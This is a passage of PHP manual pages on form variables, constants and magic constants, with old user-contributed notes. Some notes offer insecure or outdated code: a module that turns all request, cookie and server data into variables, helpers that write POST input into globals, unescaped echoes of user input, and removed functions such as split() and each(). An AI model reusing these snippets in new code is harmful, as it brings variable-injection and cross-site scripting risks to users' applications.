Using arrays is the way to go.  Assuming that we know the unique numerical identifier of each user, such as their primary key from the database, and we DON'T wish to protect that number from the public, we can make the 'action_button' into an array and use the user's unique numerical identifier as a key in this array.

Our HTML code to display the buttons will become:

<input type="submit" value="Delete" name="action_button[0000000002]">
<input type="submit" value="Modify" name="action_button[0000000002]">

The 0000000002 is of course the unique numerical identifier for this particular user.

Then when we handle this form in PHP we need to do the following to extract both the 'value' of the button ("Delete" or "Modify") and the unique numerical identifier of the user we wish to affect (0000000002 in this case). The following will print either "Modify" or "Delete", as well as the unique number of the user:

<?php
$submitted_array = array_keys($_POST['action_button']);
echo ($_POST['action_button'][$submitted_array[0]] . " " . $submitted_array[0]);
?>

$submitted_array[0] carries the 0000000002.
When we index that into the $_POST['action_button'], like we did above, we will extract the string that was used as 'value' in the HTML code 'input' tag that created this button.

If we wish to protect the unique numerical identifier, we must use some other uniquely identifying attribute of each user. Possibly that attribute should be encrypted when output into the form for greater security.

Enjoy!
user: "someuser" at mai1server "ua.fm" 02-May-2005 09:17
Numerous string like:

<?php
if (isset($_POST["var1"]))
    $var1=$_POST["var1"];
else $var1='';
//...
if (isset($_POST["varN"]))
    $varN=$_POST["varN"];
else $varN='';
?>

Can be replaced with:

<?php
get_superglobal_vars_from_POST('var1','...','varN');

function get_superglobal_vars_from_POST()
{
    $numargs = func_num_args();
    $setargs = 0; // for counting set variables
    for ($i=0; $i<$numargs; $i++)
    {
    $varname=func_get_arg($i);
    if (!isset($_POST[$varname]))
        $result='';
    else
    {
        $result=$_POST[$varname];
        $setargs++;
    }
    $GLOBALS["$varname"]=$result;
    }
    return $setargs; // who cares?
}
?>
tim at timpauly dot com 30-Apr-2005 03:57
This code module can be added to every form using require_once().
It will process any and all form data, prepending each variable with
a unique identifier (so you know which method was used to get the data).

My coding could be neater, but this sure makes processing forms much easier!

<?php
// -----------------------------------------------------------------
// Basic Data PHP module. This module captures all GET, POST
// and COOKIE data and processes it into variables.
// Coded April, 2005 by Timothy J. Pauly
// -----------------------------------------------------------------
//
// coo_ is prepended to each cookie variable
// get_ is prepended to each GET variable
// pos_ is prepended to each POST variable
// ses_ is prepended to each SESSION variable
// ser_ is prepended to each SERVER variable

session_start(); // initialize session data
$ArrayList = array("_POST", "_GET", "_SESSION", "_COOKIE", "_SERVER"); // create an array of the autoglobal arrays
// we want to process

foreach($ArrayList as $gblArray) // process each array in the array list
{
   $prefx = strtolower(substr($gblArray,1,3))."_"; // derive the prepend string
// from the autoglobal type name
   $tmpArray = $$gblArray;
   $keys = array_keys($tmpArray); // extract the keys from the array being processed
   foreach($keys as $key) // process each key
    {

    $arcnt = count($tmpArray[$key]);

    if ($arcnt > 1) // Break down passed arrays and
// process each element seperately
    {
      $lcount = 0;
      foreach ($tmpArray[$key] as $dval)
        {
           $prkey = $prefx.$key; // create a new key string
// with the prepend string added
           $prdata['$prkey'] = $dval; // this step could be eliminated
           ${$prkey}[$lcount] = $prdata['$prkey']; //create new key and insert the data
           $lcount++;
        }

        } else { // process passed single variables

                $prkey = $prefx.$key; // create a new key string
// with the prepend string added
                $prdata['$prkey'] = $tmpArray[$key]; // insert the data from
// the old array into the new one
                $$prkey = $prdata['$prkey']; // create the newly named
// (prepended) key pair using variable variables :-)

               }
    }
}

// -------------------------------------------------------------
?>
tmk-php at infeline dot org 08-Apr-2005 06:38
To handle forms with or without [] you can do something like this:

<?php
    function repairPost($data) {
        // combine rawpost and $_POST ($data) to rebuild broken arrays in $_POST
        $rawpost = "&".file_get_contents("php://input");
        while(list($key,$value)= each($data)) {
            $pos = preg_match_all("/&".$key."=([^&]*)/i",$rawpost, $regs, PREG_PATTERN_ORDER);
            if((!is_array($value)) && ($pos > 1)) {
                $qform[$key] = array();
                for($i = 0; $i < $pos; $i++) {
                    $qform[$key][$i] = urldecode($regs[1][$i]);
                }
            } else {
                $qform[$key] = $value;
            }
        }
        return $qform;
    }

    // --- MAIN

    $_POST = repairPost($_POST);
?>

The function will check every field in the $_POST with the raw post data and rebuild the arrays that got lost.
Murat TASARSU 03-Mar-2005 01:29
if you want your multiple select returned variable in comma seperated form you can use this. hope that helps. regards...

$myvariable
   Array ( [0] => one [1] => two [2] => three )
turns into
   one,two,three

<?php
$myvariable="";
$myseperator="";
foreach ( $_POST["myvariable"] as $v) {
if (!isset($nofirstcomma)) $nofirstcomma=0; else $myseperator=",";
$myvariable = $myvariable.$myseperator.$v;
}
echo $myvariable;
?>
jlratwil at yahoo dot com 02-Feb-2005 02:35
To get multiple selected (with "multiple" ) lists in <select> tag, make sure that the "name" attribute is added to braces, like this:

<select multiple="multiple" name="users[]">
     <option value="foo">Foo</option>
     <option value="bar">Bar</option>
</select>

When submitted to PHP file (assume that you have a complete form) it will return an array of strings. Otherwise, it will just return the last element of the <select> tag you selected.
__kbanks at (__ignoreunderscores) dot gmail dot com 17-Jan-2005 12:05
Hi all:

I'm presently building a solution to programmatically build, view, and validate HTML forms when I came across the ol' PHP non-scalar form variable handling problem.  Because my form validator class would really have no way of knowing if a given form variable was meant to be scalar or not, I decided to TREAT ALL PHP FORM VARIABLES AS ARRAYS, i.e., to use the '[]' syntax for all variables, scalar or not.  This way, the form designer need not remember to specify the '[]' syntax, and the Form->HTML transformer need not scan for every input within the form, looking for duplicate names.  This also eliminates the risk of losing data you meant to keep in an array but to which you forgot to apply the '[]' syntax.

You may then either treat all form variables as arrays in your form handling code, or you may, as I intend to do, filter each HTML request through a Front Controller (desc. in Fowler, PoEAA).  The Front Controller would convert all arrays of length 1 to a scalar variable and leave multi-element arrays as they are.  This should essentially convert PHP's handling of non-scalar form variables to that of ASP's (or slightly better, since multiple form values of the same name will actually be arrays, not just comma-seperated values).

This way my Form Validator class can just check if the input to validate is an array, and then apply some constraint across each element in the array.
mattij at nitro fi no at no dot no 05-Nov-2004 04:39
If you try to refer or pass HTML-form data which has arrays with javascript remember that you should point to that array like this

<script type="text/javascript">
    window.opener.document.forms[0]["to[where][we][point]"];
</script>
lennynyktyk at yahoo dot com 09-Jul-2004 11:42
When dealing with multiple select boxes and the name=some_name[] so that PHP will understand that is needs to interpet the input as an array an not as a single value. If you want to access this in Javascript you should assign an id attribute to the select box as well as the name attribute. Then proceed to use the id attribute in Javascript to reference the select box and the name attribute to reference the select box in PHP.
Example

<select multiple id="select_id" name="select_name[]">
....

</select>

<?PHP
    echo $select_name[0];
?>

<script language="javascript">
  document.forms[0].select_id.options[0].selected = true;
</script>

I hope you get the idea
arjini at mac dot com 27-Mar-2004 08:48
When dealing with form inputs named_like_this[5] and javascript, instead of trying to get PHP to do something fancy as mentioned below, just try this on the javascript side of things:

<form name="myForm">

<script>
my_fancy_input_name = 'array_of_things[1]';
/* now just refer to it like this in the dom tree

document[myForm][my_fancy_input_name].value

etc*/
</script>

<input type="text" name="array_of_things[1]" value="1"/>
</form>

No fancy PHP, in fact, you shouldn't need to change your PHP at all.
jim at jamesdavis dot it 22-Jan-2004 08:59
How to pass a numerically indexed array.
This is the part inside the form. Notice that the name is not 'english[$r]' which you would normally write, but 'english[]'. PHP adds the index when it receives the post and it starts at 0.

<?php

for ($r=0; $r <= count($english)-1; $r++){
         echo "<TEXTAREA NAME='english[]'>".$english[$r]."</TEXTAREA>";

}
?>
<?php

And this will get it out at the other end
function retrieve_english(){
    for ($r=0; $r <= count($_POST['english'])-1; $r++){
        echo $_POST['english'][$r]."<BR>";
    }
}
?>

Keys are useful but so are numerical indices!
Cheers everyone
darren at sullivan dot net 01-Dec-2003 05:37
This function is a simple solution for getting the array of selectes from a checkbox list or a dropdown list out of the Querry String. I took an example posted earlier and simplified it.

<?php
function multi_post_item($repeatedString) {
    // Gets the specified array of multiple selects and/or
    // checkboxes from the Query String
    $ArrayOfItems = array();
    $raw_input_items = split("&", $_SERVER["QUERY_STRING"]);
    foreach ($raw_input_items as $input_item) {
        $itemPair = split("=", $input_item);
        if ($itemPair[0] == $repeatedString) {
            $ArrayOfItems[] = $itemPair[1];
        }
    }
    return $ArrayOfItems;
}
?>

Use the name of the field as the agrument. Example:

<?php
$Order = $_GET['Order'];
$Name = $_GET['Name'];
$States = multi_post_item('States');
$Products = multi_post_item('Products');
?>

Be sure to check for NULL if there are no selections or boxes checked.
soeren at hattel dot dk 06-Nov-2003 01:07
The decision in PHP to translate a query string like:

a=2&a=3&a=4

into one single variable a=4 is simply strupid!

The "wonderful" hack allowing multiple values to be read only if one uses:

a[]=2&a[]=3&a[]=4

is - at first sight - a nice feature but soon become a pain in the a..!

In ASP and ASPX the first situation is handled as:

a=2,3,4

which is better than the PHP behaviour but still bad (what if your variable values contain commas?).

It seems to me that the proper behaviour would be:

a=2&a=3&a=4

automatically generates an array with all the variables inside. I know this would require proper error handling but evevy things does anyway!
kevinrlat nospam dot ccs dot neu dot edu 07-Aug-2003 07:47
if you use an array of checkboxes to submit info to a database or what have you, be careful of the case when no boxes are checked.  for example:

<form method="post">
<input type="checkbox" name="checkstuff[]" value="0">
<input type="checkbox" name="checkstuff[]" value="1">
<input type="checkbox" name="checkstuff[]" value="2">

. . .

</form>

if these are submitted and none are checked, the $_POST['checkstuff'] variable will not contain an empty array, but a NULL value.  this bothered me when trying to implode() the values of my checkboxes to insert into a database, i got a warning saying the 2nd argument was the wrong type.

hope this helps!
-kevin
un shift at yahoo dot com 01-Apr-2003 07:07
This function takes a recurring form item from php://input and loads it into an array - useful for javascript/dom incompatibility with form_input_item[] names for checkboxes, multiple selects, etc.  The fread maxes out at 100k on this one.  I guess a more portable option would be pulling in ini_get('post_max_size') and converting it to an integer.

<?php
function multi_post_item($input_item_name) {
     $array_output = array();
     $in_handle = fopen("php://input", "r");
     $raw_input_items = split("&", urldecode(fread($in_handle, 100000)));
     foreach ($raw_input_items as $input_item) {
            // split this item into name/value pair
            $item = split("=", $input_item);
            // form item name
            $item_name = $item[0];
            // form item value
            $item_value = $item[1];
            if ($item_name == $input_item_name) {
                    $array_output[] = $item_value;
            }
     }
     return $array_output;
}
?>
vb at bertola dot eu dot org 19-Mar-2003 06:38
For what I understand, since PHP 4.3 it is possible to access the content of a POST request (or other methods as well) as an input stream named php://input, example:

readfile("php://input");
[to display it]

or

$fp = fopen("php://input", "r");
[to open it and then do whatever you want]

This is very useful to access the content of POST requests which actually have a content (and not just variable-value couples, which appear in $_POST).

This substitutes the old $HTTP_RAW_POST_DATA variable available in some of the previous 4.x versions. It is available for other upload methods different from POST too, but it is not available for POSTs with multipart/form-data content type, since the file upload handler has already taken care of the content in that case.
mail at paulodeon dot com 12-Mar-2003 02:42
If you have form data that could be coming in via either GET or POST and register_globals is off (as it should be) use the empty() function to find out where the data is coming from, as in the following example

<?php
if(empty($_GET)) {
        $clientfilter = $_POST['clientfilter'];
        $branchfilter = $_POST['branchfilter'];
}
if(empty($_POST)) {
    $clientfilter = $_GET['clientfilter'];
    $branchfilter = $_GET['branchfilter'];
}
?>
04-Mar-2003 04:21
"...the dot (period, full stop) is not a valid character in a PHP variable name."

That's not completely correct, consider this example:
$GLOBALS['foo.bar'] = 'baz';
echo ${'foo.bar'};
This will output baz as expected.
keli at kmdsz dot ro 03-Feb-2003 04:37
image type inputs apparently return their "value" argument from Mozilla, but not from IEXplorer... :(

example:

 <input type="image" name="sb" value="first" src="first.jpg">

using a mozilla will give you
  $sb="first" AND $sb_x, $sb_y ... whereas from IE there's just no $sb. :(

[this in short form, as I'm still using trackvars :) ]
steiner277 at charter dot net 10-Jul-2002 02:55
When accessing variables from a post, do NOT put $_POST['fieldname'] in double quotes or you will get an error message.

e.g. the following works fine:

$msg = "The message is:\t" . $_POST['message'] . "\n";

but the following will cause errors:

$msg = "The message is:\t$_POST['message']\n";
hjncom at hjncom dot net 25-May-2002 12:34
I think '[' and ']' are valid characters for name attributes.

http://www.w3.org/TR/html401/interact/forms.html#h-17.4
-> InputType of 'name' attribute is 'CDATA'(not 'NAME' type)

http://www.w3.org/TR/html401/types.html#h-6.2
-> about CDATA('name' attribute is not 'NAME' type!)
...CDATA is a sequence of characters from the document character set and may include character entities...

http://www.w3.org/TR/html401/sgml/entities.html
--> about Character entity references in HTML 4
([ - &#91, ] - &#93)
jesper at codecrew dot dk 11-May-2002 04:12
Just to help others with the same stupid problem i have:

I you use a checkbox in your form, it will only return the value specified in value if it is checked.

ex. <input type="checkbox" value="yes">

in php code you then write

$checkboxchecked = ($checkbox == "yes");

I guess :)
a at b dot c dot de 03-Feb-2002 01:49
As far as whether or not "[]" in name attributes goes, The HTML4.01 specification only requires that it be a case-insensitive CDATA token, which can quite happily include "[]". Leading and trailing whitespace may be trimmed and shouldn't be used.

It is the id= attribute which is restricted, to a case-sensitive NAME token (not to be confused with a name= attribute).
carl_steinhilber at NOSPAMmentor dot com 30-Jan-2002 11:19
A group of identically-named checkbox form elements returning an array is a pretty standard feature of HTML forms. It would seem that, if the only way to get it to work is a non-HTML-standard-compliant workaround, it's a problem with PHP.

Since the array is passed in the header in a post, or the URL in a get, it's the PHP interpretation of those values that's failing.
yasuo_ohgaki at hotmail dot com 11-Mar-2001 01:02
Important:  Pay attention to the following security concerns when handling user submitted  data :

http://www.php.net/manual/en/security.registerglobals.php
http://www.php.net/manual/en/security.variables.php


Constants

Table of Contents

  • Syntax
  • Magic constants

A constant is an identifier (name) for a simple value. As the name suggests, that value cannot change during the execution of the script (except for magic constants, which aren't actually constants). A constant is case-sensitive by default. By convention, constant identifiers are always uppercase.

The name of a constant follows the same rules as any label in PHP. A valid constant name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thusly: [a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*

Tip

See also the Userland Naming Guide.

Example #1 Valid and invalid constant names

<?php

// Valid constant names
define("FOO",     "something");
define("FOO2",    "something else");
define("FOO_BAR", "something more");

// Invalid constant names
define("2FOO",    "something");

// This is valid, but should be avoided:
// PHP may one day provide a magical constant
// that will break your script
define("__FOO__", "something");

?>

Note: For our purposes here, a letter is a-z, A-Z, and the ASCII characters from 127 through 255 (0x7f-0xff).

Like superglobals, the scope of a constant is global. You can access constants anywhere in your script without regard to scope. For more information on scope, read the manual section on variable scope.

User Contributed Notes

alterg79 at gmail dot com 13-Oct-2014 05:08
There is a way to access a constant in heredoc.
Here is the example:
<?php

define("__STR",'constant.string.defined');

function heredocGetConstant($constant) {
  return constant($constant);
}

$heredocGetConstant = 'heredocGetConstant';

$my_string = <<<EOT
This is my constant printed from heredoc: {$heredocGetConstant('__STR')}
EOT;

echo $my_string;

Output:
This is my constant printed from heredoc: constant.string.defined
php at webflips dot net 03-Apr-2014 05:03
It is perfectly valid to use a built-in PHP keyword as a constant name - as long as you the constant() function to retrieve it later:

<?php
define('echo', 'My constant value');

echo constant('echo'); // outputs 'My constant value'
?>
wbcarts at juno dot com 20-May-2012 12:04
CONSTANTS and PHP Class Definitions

Using "define('MY_VAR', 'default value')" INSIDE a class definition does not work. You have to use the PHP keyword 'const' and initialize it with a scalar value -- boolean, int, float, or string (no array or other object types) -- right away.

<?php

define('MIN_VALUE', '0.0');   // RIGHT - Works OUTSIDE of a class definition.
define('MAX_VALUE', '1.0');   // RIGHT - Works OUTSIDE of a class definition.

//const MIN_VALUE = 0.0;         WRONG - Works INSIDE of a class definition.
//const MAX_VALUE = 1.0;         WRONG - Works INSIDE of a class definition.

class Constants
{
  //define('MIN_VALUE', '0.0');  WRONG - Works OUTSIDE of a class definition.
  //define('MAX_VALUE', '1.0');  WRONG - Works OUTSIDE of a class definition.

  const MIN_VALUE = 0.0;      // RIGHT - Works INSIDE of a class definition.
  const MAX_VALUE = 1.0;      // RIGHT - Works INSIDE of a class definition.

  public static function getMinValue()
  {
    return self::MIN_VALUE;
  }

  public static function getMaxValue()
  {
    return self::MAX_VALUE;
  }
}

?>

#Example 1:
You can access these constants DIRECTLY like so:
 * type the class name exactly.
 * type two (2) colons.
 * type the const name exactly.

#Example 2:
Because our class definition provides two (2) static functions, you can also access them like so:
 * type the class name exactly.
 * type two (2) colons.
 * type the function name exactly (with the parentheses).

<?php

#Example 1:
$min = Constants::MIN_VALUE;
$max = Constants::MAX_VALUE;

#Example 2:
$min = Constants::getMinValue();
$max = Constants::getMaxValue();

?>

Once class constants are declared AND initialized, they cannot be set to different values -- that is why there are no setMinValue() and setMaxValue() functions in the class definition -- which means they are READ-ONLY and STATIC (shared by all instances of the class).
ben at bendodson dot com 27-Nov-2007 12:14
I recently found I needed a way of retrieving the value of a constant dynamically - e.g. trying to find the value of FOO_BAR by passing 'FOO_' . $someVariableWithValueBAR.  I came up with the following solution:

<?php

define('FOO_BAR','It works!');
define('FOO_FOO_BAR','It works again!');

// prints 'It works!'
$changing_variable = 'bar';
echo constant('FOO_' . strtoupper($changing_variable));

// prints 'It works again!'
$changing_variable = 'foo_bar';
echo constant('FOO_' . strtoupper($changing_variable));

?>

Note the use of strtoupper() as constants should be defined in uppercase for good practice - feel free to remove if you have constants defined in lowercase or you can set $changing_variable as uppercase.

Might be of some use to someone!
tudor at tudorholton dot com 10-Jul-2007 02:15
Note that constant name must always be quoted when defined.

e.g.
define('MY_CONST','blah') - correct
define(MY_CONST,'blah') - incorrect

The following error message also indicates this fact:
Notice:  Use of undefined constant MY_CONST - assumed 'MY_CONST' in included_script.php on line 5

Note the error message gives you some incorrect information.   'MY_CONST' (with quotes) doesn't actually exist anywhere in your code.  The error _is_ that you didn't quote the constant when you defined it in the 'assumed' file.
Andreas R. 30-Apr-2007 04:19
If you are looking for predefined constants like
* PHP_OS (to show the operating system, PHP was compiled for; php_uname('s') might be more suitable),
* DIRECTORY_SEPARATOR ("\\" on Win, '/' Linux,...)
* PATH_SEPARATOR (';' on Win, ':' on Linux,...)
they are buried in 'Predefined Constants' under 'List of Reserved Words' in the appendix:
http://www.php.net/manual/en/reserved.constants.php
while the latter two are also mentioned in 'Directory Functions'
http://www.php.net/manual/en/ref.dir.php
pdenny at magmic dot com 18-Feb-2007 06:46
Note that constants can also be used as default argument values
so the following code:

<?php
  define('TEST_CONSTANT','Works!');
  function testThis($var=TEST_CONSTANT) {
      echo "Passing constants as default values $var";
  }
  testThis();
?>

will produce :

Passing constants as default values Works!

(I tried this in both PHP 4 and 5)
martin at larsen dot dk 23-Feb-2006 11:24
I find variables much more flexible than constants because variables can be used inside quotes and heredocs etc. Especially for language systems, this is nice.

As stated in one of the previous notes, there is no speed penalty by using variables. However, one issue is that you risc name collision with existing variables. When implementing a language system I simply found that adding a prefix to all the variables was the way to go, for example:

$LNG_myvar1 = "my value";

That is easier and performs faster than using arrays like

$LNG['myvar'] = "my value";

As a final note, implementing a new superglobal in PHP would make using constants much more beneficial. Then it could be used in qoutes like this:

"The constant myconst has the value $CONSTANTS[myconst] !"
anj at aps dot anl dot gov 20-Dec-2005 05:42
It is possible to define constants that have the same name as a built-in PHP keyword, although subsequent attempts to actually use these constants will cause a parse error. For example in PHP 5.1.1, this code

    <?php
    define("PUBLIC", "Hello, world!");
    echo PUBLIC;
    ?>

gives the error

    Parse error: syntax error, unexpected T_PUBLIC in test.php on line 3

This is a problem to be aware of when converting PHP4 applications to PHP5, since that release introduced several new keywords that used to be legal names for constants.
kencomer at NOSPAM dot kencomer dot com 14-Sep-2005 02:38
Being a belt and suspenders person, when I use a constant to do flow control (i.e., using constants to determine which version of a section of the program should be used), I always use something like:

if ( defined('DEBUG') && TRUE===DEBUG )

If you accidentally use DEBUG somewhere before it is defined, PHP will create a new constant called DEBUG with the value 'DEBUG'. Adding the second comparison will prevent the expression from being TRUE when you did not intentionally create the constant. For the constant DEBUG, this would rarely be a problem, but if you had (e.g.) a constant used to determine whether a function was created using case-sensitive comparisons, an accidental creation of the constant IGNORE_CASE having the value 'IGNORE_CASE' could drive you up the wall trying to find out what went wrong, particularly if you had warnings turned off.

In almost all code I write, I put this function definition in my configuration section:

<?php
if (!function_exists("debug_print")) {
  if ( defined('DEBUG') && TRUE===DEBUG ) {
    function debug_print($string,$flag=NULL) {
      /* if second argument is absent or TRUE, print */
      if ( !(FALSE===$flag) )
        print 'DEBUG: '.$string . "\n";
    }
  } else {
    function debug_print($string,$flag=NULL) {
    }
  }
}
?>

Then, in my code, I'll sprinkle liberal doses of debug code like :

<?php
define("DEBUG_TRACK_EXAMPLE_CREATION",FALSE);
class Example extends Something {
  __construct($whatever) {
    debug_print( "new instance of Example created with '$whatever'\n",DEBUG_TRACK_EXAMPLE_CREATION);
  }
}
?>

and :

<?php
debug_print("finished init.\n");
?>

In the first case, I would not want to see that message every time I went into DEBUG mode, so I made it a special case. The second case is always printed in DEBUG mode. If I decide to turn everything on, special cases and all, all I have to do is comment out the "if" line in debug_print() and presto magicko! It costs a little and gains a lot.

As another belt-and-suspenders aside, notice that, unlike most people, I put the language constant (e.g.,TRUE, "string", etc.) on the left side of the comparison. By doing that, you can never accidentally do something like
  if ( $hard_to_find_error="here" )

because you always write it as
  if ( "here"==$no_error )

or, if you got it wrong,
  if ( "here"=$easy_to_find_parse_error )
hafenator2000 at yahoo dot com 21-Apr-2005 11:09
PHP Modules also define constants.  Make sure to avoid constant name collisions.  There are two ways to do this that I can think of.
First: in your code make sure that the constant name is not already used.  ex. <?php if (! defined("CONSTANT_NAME")) { Define("CONSTANT_NAME","Some Value"); } ?>  This can get messy when you start thinking about collision handling, and the implications of this.
Second: Use some off prepend to all your constant names without exception  ex. <?php Define("SITE_CONSTANT_NAME","Some Value"); ?>

Perhaps the developers or documentation maintainers could recommend a good prepend and ask module writers to avoid that prepend in modules.
storm 18-Apr-2005 06:54
An undefined constant evaluates as true when not used correctly. Say for example you had something like this:

settings.php
<?php
// Debug mode
define('DEBUG',false);
?>

test.php
<?php
include('settings.php');

if (DEBUG) {
   // echo some sensitive data.
}
?>

If for some reason settings.php doesn't get included and the DEBUG constant is not set, PHP will STILL print the sensitive data. The solution is to evaluate it. Like so:

settings.php
<?php
// Debug mode
define('DEBUG',0);
?>

test.php
<?php
include('settings.php');

if (DEBUG == 1) {
   // echo some sensitive data.
}
?>

Now it works correctly.
kumar at farmdev 26-Oct-2003 02:59
before embarking on creating a language system I wanted to see if there was any speed advantage to defining language strings as constants vs. variables or array items.  It is more logical to define language strings as constants but you have more flexibility using variables or arrays in your code (i.e. they can be accessed directly, concatenated, used in quotes, used in heredocs whereas constants can only be accessed directly or concatenated).

Results of the test:
declaring as $Variable is fastest
declaring with define() is second fastest
declaring as $Array['Item'] is slowest

=======================================
the test was done using PHP 4.3.2, Apache 1.3.27, and the ab (apache bench) tool.
100 requests (1 concurrent) were sent to one php file that includes 15 php files each containing 100 unique declarations of a language string.

Example of each declaration ("Variable" numbered 1 - 1500):
<?php
$GLOBALS['Variable1'] = "A whole lot of text for this variable as if it were a language string containing a whole lot of text";
?>
<?php
define('Variable1' , "A whole lot of text for this variable as if it were a language string containing a whole lot of text");
?>
<?php
$GLOBALS['CP_Lang']['Variable1'] = "A whole lot of text for this variable as if it were a language string containing a whole lot of text";
?>

Here are the exact averages of each ab run of 100 requests (averages based on 6 runs):
variable (24.956 secs)
constant (25.426 secs)
array (28.141)

(not huge differences but good to know that using variables won't take a huge performance hit)
ewspencer at industrex dot com 18-Aug-2003 03:30
I find using the concatenation operator helps disambiguate value assignments with constants. For example, setting constants in a global configuration file:

<?php
define('LOCATOR',   "/locator");
define('CLASSES',   LOCATOR."/code/classes");
define('FUNCTIONS', LOCATOR."/code/functions");
define('USERDIR',   LOCATOR."/user");
?>

Later, I can use the same convention when invoking a constant's value for static constructs such as require() calls:

<?php
require_once(FUNCTIONS."/database.fnc");
require_once(FUNCTIONS."/randchar.fnc");
?>

as well as dynamic constructs, typical of value assignment to variables:

<?php
$userid  = randchar(8,'anc','u');
$usermap = USERDIR."/".$userid.".png";
?>

The above convention works for me, and helps produce self-documenting code.

-- Erich
katana at katana-inc dot com 25-Feb-2002 08:53
Warning, constants used within the heredoc syntax (http://www.php.net/manual/en/language.types.string.php) are not interpreted!

Editor's Note: This is true. PHP has no way of recognizing the constant from any other string of characters within the heredoc block.


Syntax

You can define a constant by using the define()-function or by using the const keyword outside a class definition as of PHP 5.3.0. Once a constant is defined, it can never be changed or undefined.

Only scalar data (boolean, integer, float and string) can be contained in constants prior to PHP 5.6. From PHP 5.6 onwards, it is also possible to define an array constant. It is possible to define constants as a resource, but it should be avoided, as it can cause unexpected results.

You can get the value of a constant by simply specifying its name. Unlike with variables, you should not prepend a constant with a $. You can also use the function constant() to read a constant's value if you wish to obtain the constant's name dynamically. Use get_defined_constants() to get a list of all defined constants.

Note: Constants and (global) variables are in a different namespace. This implies that for example TRUE and $TRUE are generally different.

If you use an undefined constant, PHP assumes that you mean the name of the constant itself, just as if you called it as a string (CONSTANT vs "CONSTANT"). An error of level E_NOTICE will be issued when this happens. See also the manual entry on why $foo[bar] is wrong (unless you first define() bar as a constant). If you simply want to check if a constant is set, use the defined() function.

These are the differences between constants and variables:

  • Constants do not have a dollar sign ($) before them;
  • Constants may only be defined using the define() function, not by simple assignment;
  • Constants may be defined and accessed anywhere without regard to variable scoping rules;
  • Constants may not be redefined or undefined once they have been set; and
  • Constants may only evaluate to scalar values, or scalar or array values in PHP 5.6 and later. You may use arrays in constant scalar expressions (for example, const FOO = array(1,2,3)[0];), but the end result must be a scalar value.

Example #1 Defining Constants

<?php
define("CONSTANT", "Hello world.");
echo CONSTANT; // outputs "Hello world."
echo Constant; // outputs "Constant" and issues a notice.
?>

Example #2 Defining Constants using the const keyword

<?php
// Works as of PHP 5.3.0
const CONSTANT = 'Hello World';

echo CONSTANT;

// Works as of PHP 5.6.0
const ANOTHER_CONST = CONSTANT.'; Goodbye World';

echo ANOTHER_CONST;
?>

Note:

As opposed to defining constants using define(), constants defined using the const keyword must be declared at the top-level scope because they are defined at compile-time. This means that they cannot be declared inside functions, loops, if statements or try/ catch blocks.

See also Class Constants.

User Contributed Notes

kuzawinski dot marcin at NOSPAM dot gmail dot com 11-Apr-2014 09:40
Actually, there is a way, to (re)declare FALSE (also: False, false, TRUE, NULL, etc.) constant, even if it is already declared:

<?php

var_dump(constant('I_DONT_EXIST')); // warning "Couldn't find constant I_DONT_EXIST"
var_dump(constant('FALSE'));  //no warning, output: bool(false)

define('FALSE', TRUE);

var_dump(constant('FALSE')); //output: bool(true)

// but...

var_dump(constant('false')); // output: bool(false)
var_dump(FALSE); // output: bool(false);

?>
0gb dot us at 0gb dot us 31-Jan-2012 02:17
While most constants are only defined in one namespace, the case-insensitive true, false, and null constants are defined in ALL namespaces. So, this is not valid:

<?php namespace false;
const ENT_QUOTES = 'My value';
echo ENT_QUOTES;//Outputs as expected: 'My value'

const FALSE = 'Odd, eh?';//FATAL ERROR! ?>

Fatal error: Cannot redeclare constant 'FALSE' in /Volumes/WebServer/0gb.us/test.php on line 5
timucinbahsi at gmail dot com 11-Jan-2012 07:23
Constant names shouldn't include operators. Otherwise php doesn't take them as part of the constant name and tries to evaluate them:

<?php
define("SALARY-WORK",0.02); // set the proportion

$salary=SALARY-WORK*$work; // tries to subtract WORK times $work from SALARY
?>
uramihsayibok, gmail, com 09-Aug-2009 08:54
Don't let the comparison between const (in the global context) and define() confuse you: while define() allows expressions as the value, const does not. In that sense it behaves exactly as const (in class context) does.

<?php

// this works
/**
 * Path to the root of the application
 */
define("PATH_ROOT", dirname(__FILE__));

// this does not
/**
 * Path to configuration files
 */
const PATH_CONFIG = PATH_ROOT . "/config";

// this does
/**
 * Path to configuration files - DEPRECATED, use PATH_CONFIG
 */
const PATH_CONF = PATH_CONFIG;

?>


Magic constants

PHP provides a large number of predefined constants to any script which it runs. Many of these constants, however, are created by various extensions, and will only be present when those extensions are available, either via dynamic loading or because they have been compiled in.

There are eight magical constants that change depending on where they are used. For example, the value of __LINE__ depends on the line that it's used on in your script. These special constants are case-insensitive and are as follows:

A few "magical" PHP constants
Name | Description
__LINE__ | The current line number of the file.
__FILE__ | The full path and filename of the file with symlinks resolved. If used inside an include, the name of the included file is returned.
__DIR__ | The directory of the file. If used inside an include, the directory of the included file is returned. This is equivalent to dirname(__FILE__). This directory name does not have a trailing slash unless it is the root directory.
__FUNCTION__ | The function name.
__CLASS__ | The class name. The class name includes the namespace it was declared in (e.g. Foo\Bar). Note that as of PHP 5.4 __CLASS__ works also in traits. When used in a trait method, __CLASS__ is the name of the class the trait is used in.
__TRAIT__ | The trait name. The trait name includes the namespace it was declared in (e.g. Foo\Bar).
__METHOD__ | The class method name.
__NAMESPACE__ | The name of the current namespace.

See also
get_class(),
get_object_vars(),
file_exists() and
function_exists().

Changelog

Version | Description
5.4.0 | Added __TRAIT__ constant
5.3.0 | Added __DIR__ and __NAMESPACE__ constants
5.0.0 | Added __METHOD__ constant
5.0.0 | Before this version values of some magic constants were always lowercased. All of them are case-sensitive now (contain names as they were declared).
4.3.0 | Added __FUNCTION__ and __CLASS__ constants
4.0.2 | __FILE__ always contains an absolute path with symlinks resolved whereas in older versions it contained relative path under some circumstances

User Contributed Notes

user at NOSPAM dot example dot com 30-Sep-2014 05:56
__CLASS__ has caused me some confusion before. If you extend from a class that calls __CLASS__ in a function, __CLASS__ will refer to the parent class  and not the extending class.

<?php
    class A
    {
        function sayClassFromObjectA()
        {
            echo "<br/>This is class " . __CLASS__;
        }
    }

    class B extends A
    {
        function sayClassFromObjectB()
        {
            echo "<br/>This is class " . __CLASS__;
        }
    }

    $b = new B();

    //I expect it to output "This is class B".
    $b->sayClassFromObjectA();    //Outputs "This is class A"

    //I expect it to output "This is class B".
    $b->sayClassFromObjectB();    //Outputs "This is class B"
?>
php at kenman dot net 29-Mar-2014 03:45
Just learned an interesting tidbit regarding __FILE__ and the newer __DIR__ with respect to code run from a network share: the constants will return the *share* path when executed from the context of the share.

Examples:

// normal context
// called as "php -f c:\test.php"
